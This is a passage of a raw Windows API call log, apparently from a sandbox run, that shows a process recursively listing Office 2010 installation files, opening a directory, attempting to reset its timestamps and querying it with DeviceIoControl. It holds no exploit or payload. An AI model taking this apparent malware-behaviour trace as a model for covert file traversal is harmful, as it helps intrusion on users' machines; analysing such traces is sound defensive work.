ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0052.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96bb8 [0052.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0052.030] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0052.030] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.030] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0052.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.031] NtClose (Handle=0x18c) returned 0x0 [0052.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96bb8) returned 1 [0052.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96bb8 [0052.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf971e8 [0052.031] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0052.485] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.512] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0052.512] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0052.512] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0052.512] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0052.512] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0052.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.513] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0052.513] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf970e0 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95be0 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf973f8 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0052.517] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, 